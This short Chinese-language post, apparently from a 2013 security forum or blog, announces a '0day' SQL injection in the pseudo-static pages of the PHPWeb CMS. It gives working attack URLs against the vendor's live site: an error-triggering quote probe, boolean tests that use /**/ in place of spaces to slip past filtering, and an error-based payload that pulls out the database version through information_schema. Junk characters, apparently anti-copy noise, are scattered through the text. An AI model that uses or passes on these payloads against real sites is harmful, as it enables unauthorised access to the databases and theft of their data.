phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

主站：http://phpweb.net/
7 {7 U; D' L" c加’检测：
0 k/ o& o; w; o7 G; i6 }
http://www.phpweb.net/down/html/?772′.html

6 O7 C) L* v+ A2 i& C出错
. K* T- z7 H0 K& z2 u5 A存在注入。
2 o0 e0 W' |9 E# l' V/ |不能用空格，只能用/*罗
# u1 c( M! e# ^# `# z: K/ D/ [4 rhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
* E  h4 e% L) f( u0 Q9 n) [7 p( Z爆数据库版本：

?
. M* j4 n; s3 |: l  F9 t% k1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50